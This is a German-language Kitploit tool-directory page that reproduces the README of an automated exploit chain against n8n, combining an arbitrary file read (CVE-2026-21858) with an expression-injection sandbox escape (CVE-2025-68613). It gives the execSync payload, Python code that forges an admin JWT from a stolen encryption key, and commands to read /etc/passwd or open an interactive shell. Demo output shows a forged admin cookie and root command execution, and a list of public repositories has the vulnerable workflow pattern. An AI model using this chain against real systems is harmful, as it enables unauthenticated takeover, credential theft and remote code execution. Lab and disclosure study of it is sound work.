Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-21858 — Automatisierte Exploit-Kette für n8n, die beliebiges Dateilesen, Admin-Token-Fälschung und Sandbox-Umgehung kombiniert, um eine nicht authentifizierte Remote-Codeausführung zu erreichen. | Kitploit
Tools/GitHubGitHub/alhakim88/cve-2026-21858
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationPenetrationstestsRed TeamingPayload-Entwicklung
GitHubalhakim88/cve-2026-21858

CVE-2026-21858

Automatisierte Exploit-Kette für n8n, die beliebiges Dateilesen, Admin-Token-Fälschung und Sandbox-Umgehung kombiniert, um eine nicht authentifizierte Remote-Codeausführung zu erreichen.

Repository anzeigen
vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain

Unauthentifizierter beliebiger Dateizugriff → Admin-Token-Fälschung → Sandbox-Bypass → RCE

CVECVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)
CVSS10.0 + 9.9 (Kritisch)
Betroffen<= 1.65.0 (AFR) / >= 0.211.0 (RCE)
Behoben1.121.0 (AFR) / 1.120.4+ (RCE)
Offengelegt2026-01-07 11:09 UTC
CodenameNi8mare
CreditDor Attias (Cyera)
ExploitChocapikk
ProzessKI-automatisiert: Patch-Diff → Repro → Labor → Exploit (~9h nach Offenlegung)
TypProof of Concept - KEIN universeller Exploit (erfordert spezifische Workflow-Konfiguration, siehe Einschränkungen)

TL;DR

Vollständige unauthentifizierte RCE-Kette auf n8n:

  1. CVE-2026-21858 - Content-Type-Verwirrung → beliebiger Dateizugriff
  2. Konfiguration + Datenbank lesen → Admin-JWT fälschen
  3. CVE-2025-68613 - Ausdrucks-Injection → Sandbox-Bypass → RCE

Erkennung

Die Gefährdung ist versionsbasiert. In Bezug auf die Gefährdung gibt es öffentlich zugängliche verwundbare n8n-Instanzen.

LeakIX-Ergebnisse: Gefährdete Instanzen anzeigen

LeakIX Detection Results

Warum dieser Exploit?

Dieser Exploit wurde unabhängig vom Cyera-Write-up entwickelt (nach Abschluss entdeckt). Hauptunterschiede:

Cyera (Originalforschung)Dieser Exploit
DateizugriffIn KI-Wissensdatenbank laden → per Chat abfragenDirekte HTTP-Antwort
VoraussetzungenChat-Workflow + KI-IntegrationJedes Formular mit Datei-Upload
RCE-Methode"Execute Command"-Node (standardmäßig deaktiviert)Ausdrucks-Injection (funktioniert auf Standardinstallationen)
AutomatisierungManuelle/konzeptionelle DemoVollautomatisiertes Python-Skript

Beide Ansätze erfordern spezifische Workflow-Konfigurationen. Cyera benötigt Chat + KI-Integration, dieser Exploit benötigt ein Formular mit Respond-Node. Siehe Einschränkungen für Details.

Angriffskette

root@kitploit:~
┌───────────────────────────────────────────────────────────┐
│                     UNAUTHENTIFIZIERT                     │
├───────────────────────────────────────────────────────────┤
│  1. /proc/self/environ lesen → HOME-Verzeichnis finden    │
│  2. $HOME/.n8n/config lesen → encryptionKey erhalten      │
│  3. $HOME/.n8n/database.sqlite lesen → Admin-Zugangsdaten │
├───────────────────────────────────────────────────────────┤
│                      TOKEN-FÄLSCHUNG                      │
├───────────────────────────────────────────────────────────┤
│  4. JWT-Secret aus encryptionKey ableiten                 │
│  5. Admin-Session-Cookie fälschen                         │
├───────────────────────────────────────────────────────────┤
│                    AUTHENTIFIZIERTE RCE                   │
├───────────────────────────────────────────────────────────┤
│  6. Workflow mit Ausdrucks-Injection erstellen            │
│  7. Sandbox-Bypass via this.process.mainModule.require    │
│  8. Beliebige Befehle ausführen                           │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - Beliebiger Dateizugriff via Content-Type-Verwirrung

Der Patch

root@kitploit:~
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

Das legendäre "Merge commit from fork" - wenn man das sieht, hat jemand etwas Scharfes gefunden. 🌶️

Grundursache

root@kitploit:~
// VORHER (verwundbar)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// NACHHER (behoben)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Content-Type: application/json senden → filepath kontrollieren → beliebige Datei lesen.

CVE-2025-68613 - Ausdrucks-Injection RCE

Warum dieser Bypass?

n8n sandboxt Benutzercode (Code-Node, Ausdrücke) mit vm2/isolated-vm. Andere RCE-Vektoren:

TechnikStatus
Execute Command NodeStandardmäßig deaktiviert (N8N_ALLOW_EXEC_COMMAND=false)
SSH/HTTP-NodesAusführung auf Remote-Servern, nicht auf dem n8n-Host
Pyodide-Sandbox-EscapeCVE-2025-68668 - erfordert Python-Code-Node
Ausdrucks-InjectionCVE-2025-68613 - funktioniert auf Standardinstallationen

Ich habe Ausdrucks-Injection verwendet, weil sie auf jedem n8n mit Standardeinstellungen funktioniert - keine speziellen Nodes oder Konfigurationen erforderlich. Der Pyodide-Bypass (CVE-2025-68668) erfordert den Python-Code-Node, der möglicherweise nicht auf allen Instanzen verfügbar ist.

Der Payload

root@kitploit:~
={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

n8n-Ausdrücke haben Zugriff auf this.process.mainModule.require → vollständiger Sandbox-Escape.

Token-Fälschung

root@kitploit:~
# JWT-Secret-Ableitung
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT-Hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Token fälschen
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

Labor-Setup

root@kitploit:~
docker compose up -d
# ~60 Sekunden für das Setup warten
# Formular: http://localhost:5678/form/vulnerable-form
# Zugangsdaten: [email protected] / password

Verwendung

root@kitploit:~
# Beliebige Datei lesen
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Vollständige Kette mit Befehl
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Interaktive Shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

Demo

root@kitploit:~
╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

Einschränkungen

Dies ist KEIN "pwn any n8n"-Exploit. Er erfordert spezifische Bedingungen, um zu funktionieren:

AnforderungBeschreibung
Formular mit Datei-UploadDas Ziel muss einen Formular-Workflow mit einem Datei-Upload-Feld haben
Respond to Webhook-NodeDer Workflow muss den Dateiinhalt in der HTTP-Antwort zurückgeben
Workflow aktivDer Formular-Workflow muss aktiviert sein
Unauthentifizierter ZugriffDas Formular muss öffentlich zugänglich sein (ohne Authentifizierung)

Beispiel einer verwundbaren Workflow-Konfiguration:

root@kitploit:~
{
  "nodes": [
    {
      "name": "Form Trigger",
      "type": "n8n-nodes-base.formTrigger",
      "parameters": {
        "responseMode": "responseNode",
        "formFields": {
          "values": [{ "fieldLabel": "document", "fieldType": "file" }]
        }
      }
    },
    {
      "name": "Respond",
      "type": "n8n-nodes-base.respondToWebhook",
      "parameters": {
        "respondWith": "binary",
        "inputDataFieldName": "document"
      }
    }
  ],
  "connections": {
    "Form Trigger": { "main": [[{ "node": "Respond" }]] }
  }
}

Die Schlüsselelemente sind: fieldType: "file" + respondWith: "binary". Dieses Muster ist in Dateiverarbeitungs-Workflows üblich (Konverter, Bildskalierer, Dokumentenprozessoren).

Funktioniert:

  • Formulare mit Respond-Node, die Binärdaten zurückgeben (Dateikonverter, Prozessoren)
  • Standard-n8n-Installationen (Ausdrucks-Injection nicht blockiert)
  • Lokale/Docker-Bereitstellungen (Datenbank + Konfiguration auf der Festplatte gespeichert)

Funktioniert nicht:

  • Formulare ohne Respond-Node (Datei wird gelesen, aber Inhalt nicht in der HTTP-Antwort zurückgegeben)
  • Formulare, die Authentifizierung erfordern
  • n8n Cloud (andere Architektur, kein lokaler Dateizugriff)
  • Gepatchte Versionen (>= 1.121.0)

Hinweis: Die Schwachstelle (beliebiger Dateizugriff) wird unabhängig von der Exfiltrationsmethode ausgelöst. Der Respond-Node ist nur eine Möglichkeit, den Inhalt abzurufen. Alternative Methoden (OOB, andere Ausgabe-Nodes) können je nach Workflow-Konfiguration funktionieren.

Blinde Ausnutzung: Wenn kein Respond-Node existiert, wird die Datei von n8n trotzdem gelesen, kann aber nicht über die HTTP-Antwort exfiltriert werden. Alternative Techniken (OOB, Timing) wären erforderlich.

Beispiele aus der Praxis

Das verwundbare Muster (Form Trigger + Datei-Upload + Respond to Webhook) existiert in öffentlichen GitHub-Repositories.

Hinweis: Beliebte n8n-Workflow-Repos (>100⭐) verwenden dieses Muster nicht. Dies sind Community-/Projekt-Workflows:

Workflow-DateiDateifelderrespondWith
ifcpipeline/.../ifcpipeline.jsonIDS, IFC (x2)binary ⚠️
nano-banana-studio/.../03_multi_asset_processor.jsonBilder, Audio, Markdownjson
ticket-omnichannel-chat/.../Knowledge_base.jsonDokument(PDF)text
ai_resume_project/resume_rag.jsonDatei-UploadallIncomingItems
fkgpt-portfolio/.../audio-transcription-analysis.jsonAudiodateitext
n8n-backup/.../K3DwHQs0fnnm5UK0.jsonDateitext
voltixLandingPage/.../chatbotvoltix.jsonDatei hochladenStandard
n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.jsonDateiStandard
8n8Workflows/.../3WoSqiBnZ56RtWMb.jsonDokument hochladenStandard
learn_earn_ai_insta/.../My workflow.jsonDatei hochladenStandard
finintworkshop/.../API using n8n (ToT).json

Dies sind Community-beigetragene Workflows. Keine offiziellen n8n.io-Vorlagen verwenden dieses verwundbare Muster.

Referenzen

  • Cyera Research - Ni8mare Vollständiges Write-up - Originalforschung von Dor Attias
  • GHSA-v4pr-fm98-w9pg - CVE-2026-21858
  • GHSA-v98v-ff95-f3cp - CVE-2025-68613
  • Nuclei-Vorlage CVE-2025-68613
  • LeakIX-Suchergebnisse - Gefährdete verwundbare Instanzen
  • Formidable - "Die Bibliothek, nicht der Song" (danke an Cyera für das Lachen)
Tool herunterladen
Datei
json